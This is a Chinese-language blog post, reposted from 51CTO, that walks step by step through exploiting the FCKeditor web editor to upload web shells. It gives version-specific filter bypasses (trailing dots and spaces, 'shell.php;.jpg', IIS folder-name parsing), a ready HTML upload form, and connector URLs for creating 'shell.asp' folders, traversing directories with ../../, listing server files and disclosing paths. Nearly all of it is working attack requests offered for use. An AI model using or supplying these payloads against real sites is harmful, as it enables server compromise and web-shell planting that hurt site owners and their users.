天天看點

Fckeditor漏洞利用全面解析

第一步:檢視編輯器版本

FCKeditor/_whatsnew.html

—————————————————————————————

第二步. Version 2.2 版本

Apache+linux 環境下在上傳檔案後面加個.突破!測試通過。

第三步.Version <=2.4.2 For php 在處理PHP 上傳的地方并未對Media 類型進行上傳檔案類型的控制,導緻使用者上傳任意檔案!将以下儲存為html檔案,修改action位址。

<form id=”frmUpload” enctype=”multipart/form-data”

action=”http://www.sitedir.com.cn/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=”post”>Upload a new file:<br>

<input type=”file” name=”NewFile” size=”50″><br>

<input id=”btnUpload” type=”submit” value=”Upload”>

</form>

第四步.FCKeditor 檔案上傳“.”變“_”下劃線的繞過方法

        很多時候上傳的檔案例如:shell.php.rar 或shell.php;.jpg 會變為shell_php;.jpg 這是新版FCK 的變化。

    4.1:送出shell.php+空格繞過

不過空格隻支援win 系統 *nix 是不支援的[shell.php 和shell.php+空格是2 個不同的檔案 未測試。

    4.2:繼續上傳同名檔案可變為shell.php;(1).jpg 也可以建立一個檔案夾,隻檢測了第一級的目錄,如果跳到二級目錄就不受限制。

第五步. 突破建立檔案夾

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

第六步. FCKeditor 中test 檔案的上傳位址

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

第七步.常用上傳位址

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.sitedir.com.cn%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 測試通過)

JSP 版:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

注意紅色部分修改為FCKeditor 實際使用的腳本語言,藍色部分可以自定義文

件夾名稱也可以利用../..目錄周遊,紫色部分為實際網站位址。

第八步.其他上傳位址

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

一般很多站點都已删除_samples 目錄,可以試試。

FCKeditor/editor/fckeditor.html 不可以上傳檔案,可以點選上傳圖檔按鈕再選擇浏覽伺服器即可跳轉至可上傳檔案頁。

第九步.列目錄漏洞也可助找上傳位址

Version 2.4.1 測試通過

修改CurrentFolder 參數使用 ../../來進入不同的目錄

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根據傳回的XML 資訊可以檢視網站所有的目錄。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接浏覽盤符:

JSP 版本:

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

第十步.爆路徑漏洞

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

————————————————————————————

第十一步. FCKeditor 被動限制政策所導緻的過濾不嚴問題

        影響版本: FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述:

FCKeditor v2.4.3 中File 類别預設拒絕上傳類型:

html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 字尾的檔案上傳後它儲存的檔案直接用的$sFilePath = $sServerDir . $sFileName,而沒有使用$sExtension 為字尾.直接導緻在win 下在上傳檔案後面加個.來突破[未測試]!

        而在apache 下,因為”Apache 檔案名解析缺陷漏洞”也可以利用之,另建議其他上傳漏洞中定義TYPE 變量時使用File 類别來上傳檔案,根據FCKeditor 的代碼,其限制最為狹隘。

        在上傳時遇見可直接上傳腳本檔案固然很好,但有些版本可能無法直接上傳可以利用在檔案名後面加.點或空格繞過,也可以利用2003 解析漏洞建立xxx.asp檔案夾或者上傳xx.asp;.jpg!

第十二步.最古老的漏洞,Type檔案沒有限制!

        我接觸到的第一個fckeditor漏洞了。版本不詳,應該很古老了,因為程式對type=xxx 的類型沒有檢查。我們可以直接構造上傳把type=Image 改成Type=hsren 這樣就可以建立一個叫hsren的檔案夾,一個新類型,沒有任何限制,可以上傳任意腳本!

本文轉sinojelly51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/339796,如需轉載請自行聯系原作者